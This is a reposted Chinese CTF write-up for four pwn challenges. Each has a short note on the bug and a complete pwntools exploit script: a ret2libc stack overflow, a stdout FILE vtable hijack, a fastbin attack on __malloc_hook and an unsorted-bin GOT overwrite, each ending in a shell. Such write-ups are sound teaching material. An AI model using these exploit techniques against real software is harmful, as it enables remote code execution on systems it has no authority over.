第一届古剑山ctf-pwn全部题解

news2024/12/23 11:39:53

1. choice

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/choice.zip

漏洞代码：

漏洞成因：

byte_804A04C输入的长度可以覆盖nbytes的值，导致后面输入时存在栈溢出

解法：

覆盖之后就是一个简单的ret2libc的打法了，两个溢出点都可以，但是main函数最后退出的时候不是简单的leave;ret

为了图省事，就直接打sub_804857B的溢出了

exp:

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,free)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './choice'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('39.108.173.13',30565) if argv[1]=='r' else process(binary)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# dbg()
sa2(b"Please enter your name:\n",b"\x00"*0x14+b"\xff")
# sla(b"3. Study hard from now",2)
sla(b"3. Study hard from now",2)

payload = b"a" * 0x1c + b"aaaa" + p32(puts_plt) + p32(0x0804857B) + p32(puts_got)
sla2(b"Cool! And whd did you choice it?\n",payload)
ru(b"\n")
puts_real = u32(r(4))
leak("puts_real",puts_real)
system,binsh,free = ret2libc(puts_real,"puts","libc-2.23.so")
payload = b"a" * 0x1c + b"aaaa" + p32(system) + p32(0x0804857B) + p32(binsh)
sla2(b"Cool! And whd did you choice it?\n",payload)
itr()

2. bss2019

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/bss2019.zip

漏洞代码：

漏洞成因：

bss段上存着stdout、stderr和stdin三个指针，由于v1可以输入负数，正好负向最多能够偏移到stdout

解法：

先通过stdout泄露出libc基址，然后通过最开始给出的bss段的地址，可以将stdout覆盖成这个地址

然后printf函数会使用到stdout指向的结构体，修改虚表中的函数为setcontext+61，然后根据调试最后满足所需的条件就行了

exp：

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,free)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './bss2019'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('39.108.173.13',30565) if argv[1]=='r' else process(binary)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

libc = ELF("./libc-2.23.so")
ru(b"\n")
gifts = int(ru(b"\n"),16)
leak("gifts",gifts)
sla(b"Choice:",1)
sla(b"Offset:\n",-0x40)
ru(b"\n")
stdout = uu64(r(8))
leak("stdout",stdout)
base = stdout -0x3c5620

sla(b"Choice:",2)
sla(b"Offset:\n",0x88)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(gifts))

sla(b"Choice:",2)
sla(b"Offset:\n",0xd8)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(gifts))

sla(b"Choice:",2)
sla(b"Offset:\n",0x38)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(base + libc.sym["setcontext"]+61))

sla(b"Choice:",2)
sla(b"Offset:\n",0xa8)
sla(b"Size:\n",8)
sla2(b"Input data:\n",p64(base + 0x45216))


sla(b"Choice:",2)
sla(b"Offset:\n",-0x40)
sla(b"Size:\n",8)

# dbg()	
sla2(b"Input data:\n",p64(gifts))

itr()

3. uafNote

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/uafNote.zip

漏洞代码：

漏洞成因：

堆块free掉之后数组没有清空

解法：

申请malloc_hook-0x23的fake fastbin chunk，最后修改malloc_hook为one_gadget

exp：

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './uafNote'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("39.108.173.13",38087) if argv[1]=='r' else process(binary)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()
_create,_delete,_show = 1,2,3
menu = ">> "
size_str = "size:"
content_str= "content:"
index_str = "index:"
def create(size,content):
    sla(menu,_create)
    sla(size_str,size)
    sla2(content_str,content)

def delete(index):
    sla(menu,_delete)    
    sla(index_str,index)


def show(index):
    sla(menu,_show)
    sla(index_str,index)

libc = ELF("./libc-2.23.so")
create(0x60,b"a")
create(0x90,b"a")
create(0x60,b"a")
delete(1)
# dbg()
show(1)
libc_base = uu64(ru(b"\n")) - 0x3c3b78
leak("libc_base",libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
free = libc_base + libc.sym['__free_hook']
malloc = libc_base + libc.sym['__malloc_hook']
create(0x90,b"a")
delete(0)
delete(2)
delete(0)
create(0x60,p64(malloc-0x23))
create(0x60,b"/bin/sh\x00")
create(0x60,b"/bin/sh\x00")
create(0x60,b"a"*0x13+p64(libc_base+0xf0567))
dbg()
sla(menu,_create)
sla(size_str,0x70)

# delete(5)
itr()

4. fake

附件：

https://github.com/chounana/ctf/blob/main/2023%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8F%A4%E5%89%91%E5%B1%B1pwn/fake.zip

漏洞代码：

漏洞成因：

堆块free掉数组没有清空

解法：

这题虽然有uaf，但是size限制了只能申请0x1000大小的堆块，并且没有show函数。首先可以通过unsorted bin attack将unsorted bin(av)写入到堆数组中，等会就可以随意修改unsorted bin的fd和bk指针了，从而达到往unsorted bin中链入fake chunk的目的。

然后需要fake chunk要满足的提交，需要有合理的size，并且bk指针的值可写，这点可以利用前面在bss段上输入的passwd进行伪造

又因为它跟堆数组相连

 所以chunk地址伪造成0x6020e8，它的bk正好是heap[0]满足要求，最后申请到bss段上的chunk，就可以修改某一个数组的值为free_got值，然后修改其为puts函数，泄露libc，最后再改成system即可。

上面的合理大小和另外一种思路详见我另外一篇博客的思路三，其实也差不多，就是直接修改bk，不适用unsorted bin attack了，类似于fastbin attack了

tip：这里malloc申请堆块的时候是不会检查地址是否对齐的问题，但是free会。

exp：

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './fake'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("39.108.173.13",38087) if argv[1]=='r' else process(binary)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()
_create,_delete,_edit = 1,3,2
menu = "Your choice:"
content_str= "Content:"
index_str = "Index:"
def create(index,content):
    sla(menu,_create)
    sla(index_str,index)
    sa2(content_str,content)

def delete(index):
    sla(menu,_delete)    
    sla(index_str,index)


def edit(index,content):
    sla(menu,_edit)
    sla(index_str,index)
    s2(content)
sa2(b"Enter your password:\n",p64(0)*2 + p64(0x1011))
create(0, b"a"*0xfff)
create(1, b"a"*0xfff)
create(2, b"a"*0xfff)
create(3, b"a"*0xfff)
create(4, b"a"*0xfff)
delete(3)

edit(3,p64(0) + p64(0x602100-0x10))
create(5, b"a"*0xfff)
# dbg()
edit(0, p64(0)*3+p32(0x6020e8))
create(6, b"a"*8 + p64(elf.got["free"])+p64(elf.got["puts"]))
edit(0, p64(elf.plt["printf"])[:7])
# dbg()
delete(1)

libc = ELF("./libc-2.23.so")
base = uu64(r(6)) - libc.sym["puts"]
leak("base",base)
system = base + libc.sym['system']
edit(5,b"/bin/sh\x00")
edit(0, p64(system)[:7])
delete(5)
# dbg()

itr()

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1308894.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

数据管理与持久化：深度解析Docker数据卷

数据管理与持久化：深度解析Docker数据卷

Docker 数据卷在容器化应用中扮演着关键角色，它们提供了一种灵活且可持久化的方式来处理应用数据。本文将深入讨论 Docker 数据卷的基本概念、使用方法以及一系列高级应用场景，通过更为丰富和实际的示例代码，帮助大家全面掌握数据卷的使用和管…
阅读更多...
Impala4.x源码阅读笔记（二）——Impala如何高效读取Iceberg表

Impala4.x源码阅读笔记（二）——Impala如何高效读取Iceberg表

前言 本文为笔者个人阅读Apache Impala源码时的笔记，仅代表我个人对代码的理解，个人水平有限，文章可能存在理解错误、遗漏或者过时之处。如果有任何错误或者有更好的见解，欢迎指正。 Iceberg表是一种用于存储大规模结构化数据的…
阅读更多...
市场全局复盘 20231213

市场全局复盘 20231213

昨日回顾： SELECT TOP 10000 CODE,成交额排名,净流入排名,代码,名称,DDE大单金额,涨幅 ,主力净额,DDE大单净量,CONVERT(DATETIME, 最后封板, 120) AS 最后封板 FROM dbo.全部Ａ股20231213_ALL WHERE 连板天 > 1AND DDE大单净量 > 0AND DDE散户数量…
阅读更多...
bugku--source

bugku--source

dirsearch扫一下 题目提示源代码（source） 也就是源代码泄露，然后发现有.git 猜到是git泄露 拼接后发现有文件 但是点开啥也没有 kali里面下载下来 wegt -r 下载网站的所有内容 ls 查看目录 cd 进入到目录里面 gie reflog 引用日志使用…
阅读更多...
Cent OS7 磁盘挂载：扩展存储空间和自动挂载

Cent OS7 磁盘挂载：扩展存储空间和自动挂载

文章目录 （1）概述（2）查看磁盘使用情况（3）VMware虚拟机挂载磁盘（4）物理机磁盘挂载（5）ntfs硬盘处理 （1）概述 在Linux系统中&#xff0c…
阅读更多...
ubuntu 自动安装 MKL Intel fortran 编译器 ifort 及完美平替

ubuntu 自动安装 MKL Intel fortran 编译器 ifort 及完美平替

首先据不完全观察，gfortran 与 openblas是 intel fortran 编译器 ifotr和mkl的非常优秀的平替，openblas连函数名都跟mkl一样，加了一个下划线。 1， 概况 https://www.intel.com/content/www/us/en/developer/tools/oneapi/base-too…
阅读更多...
【Hadoop】Hadoop基础架构的变化

【Hadoop】Hadoop基础架构的变化

1.x版本架构2.x版本架构3.x版本架构参考 1.x版本架构 NameNode：，负责文件系统的名字空间(Namespace)管理以及客户端对文 件的访问。NameNode负责文件元数据的管理和操作。是单节点。 Secondary NameNode：它的职责是合并NameNode的edit logs到…
阅读更多...
SpringBoot进行自然语言处理，利用Hanlp进行文本情感分析

SpringBoot进行自然语言处理，利用Hanlp进行文本情感分析

. # 📑前言 本文主要是SpringBoot进行自然语言处理，利用Hanlp进行文本情感分析，如果有什么需要改进的地方还请大佬指出⛺️ 🎬作者简介：大家好，我是青衿🥇 ☁️博客首页：CSDN主页放风…
阅读更多...
人工智能导论习题集（3）

人工智能导论习题集（3）

第五章：不确定性推理 题1题2题3题4题5题6题7题8 题1 题2 题3 题4 题5 题6 题7 题8
阅读更多...
过滤(删除)迭代对象中满足指定条件的元素itertools.filterfalse()

过滤(删除)迭代对象中满足指定条件的元素itertools.filterfalse()

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 过滤(删除)迭代对象中 满足指定条件的元素 itertools.filterfalse() [太阳]选择题 请问以下代码输出的结果是？ a [1, 2, 3, 4, 5] print("【显示】a ",a) import ite…
阅读更多...
关于Cython生成的so动态链接库逆向

关于Cython生成的so动态链接库逆向

来个引子：TPCTF的maze题目 如何生成这个so文件 为了研究逆向，我们先搞个例子感受一下生成so的整个过程，方便后续分析 创建对应python库文件 testso.py def test_add(a,b):a int(a)b int(b)return a bdef test_calc(li):for i in range…
阅读更多...
redis-学习笔记(Jedis zset 简单命令)

redis-学习笔记(Jedis zset 简单命令)

zadd & zrange zadd , 插入的第一个参数是 zset , 第二个参数是 score, 第三个参数是 member 成员 内部依据 score 排序 zrange 返回 key 对应的 对应区间内的值 zrangeWithScore 返回 key 对应的 对应区间内的值和分数 示例代码 zcard 返回 key 对应的 zset 的长度 示例代…
阅读更多...
05-命令模式

05-命令模式

意图（GOF定义） 将一个请求封装为一个对象，从而使你可用不同的请求对客户端进行参数化，对请求排队或者记录日志，以及可支持撤销的操作。 理解 命令模式就是把一些常用的但比较繁杂的工作归类为成一组一组的动作&…
阅读更多...
使用 Taro 开发鸿蒙原生应用 —— 当 Taro 遇到纯血鸿蒙 | 京东云技术团队

使用 Taro 开发鸿蒙原生应用 —— 当 Taro 遇到纯血鸿蒙 | 京东云技术团队

纯血鸿蒙即将到来 在今年 8 月的「2023年华为开发者大会（HDC.Together）」上，华为正式官宣「鸿蒙Next」，这个更新的版本将移除所有的 AOSP 代码，彻底与 Android 切割，使其成为一个完全自主研发的操作系统&a…
阅读更多...
【视觉SLAM十四讲学习笔记】第四讲——指数映射

【视觉SLAM十四讲学习笔记】第四讲——指数映射

专栏系列文章如下： 【视觉SLAM十四讲学习笔记】第一讲——SLAM介绍 【视觉SLAM十四讲学习笔记】第二讲——初识SLAM 【视觉SLAM十四讲学习笔记】第三讲——旋转矩阵 【视觉SLAM十四讲学习笔记】第三讲——旋转向量和欧拉角 【视觉SLAM十四讲学习笔记】第三讲——四元…
阅读更多...
LeetCode008之字符串转换整数 (相关话题：状态机)

LeetCode008之字符串转换整数 (相关话题：状态机)

题目描述 请你来实现一个 myAtoi(string s) 函数，使其能将字符串转换成一个 32 位有符号整数（类似 C/C 中的 atoi 函数）。 函数 myAtoi(string s) 的算法如下： 读入字符串并丢弃无用的前导空格检查下一个字符（假设还…
阅读更多...
以太网协议与DNS

以太网协议与DNS

以太网协议 以太网协议DNS 以太网协议 以太网用于在计算机和其他网络设备之间传输数据,以太网既包含了数据链路层的内容,也包含了物理层的内容. 以太网数据报: 其中目的IP和源IP不是网络层的目的IP和源IP,而是mac地址.网络层的主要负责是整体的转发过程,数据链路层负责的是局…
阅读更多...
分库分表及ShardingShpere-proxy数据分片

分库分表及ShardingShpere-proxy数据分片

为什么需要分库？ 随着数据量的急速上升，单个数据库可能会QPS过高导致读写耗时过长而出现性能瓶颈，所以需要考虑拆分数据库，将数据库分布在不同实例上提升数据库可用性。主要的原因有如下： 磁盘存储。业务量剧增&…
阅读更多...
bugku--Simple_SSTI_1---2

bugku--Simple_SSTI_1---2

第一题 看到一句话，需要传入一个传参为flag 设置一个变量为 secret_key 构造paykoad /?flagsecret_key 但是发现什么都没有 SSTI模版注入嘛 这里使用的是flask模版 Flask提供了一个名为config的全局对象，可以用来设置和获取全局变量。 继续构造pa…
阅读更多...
揭示 ETL 系统架构中的 OLAP、OLTP 和 HTAP

揭示 ETL 系统架构中的 OLAP、OLTP 和 HTAP

探索 ETL 系统设计需要了解 OLAP、OLTP 和不断发展的 HTAP。让我们试图剖析这些范式的复杂性。 1. OLAP（联机分析处理）： OLAP 是商业智能的中流砥柱，通过 OLAP 立方体进行多维数据分析。这些立方体封装了预先聚合、预先计算的数据…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023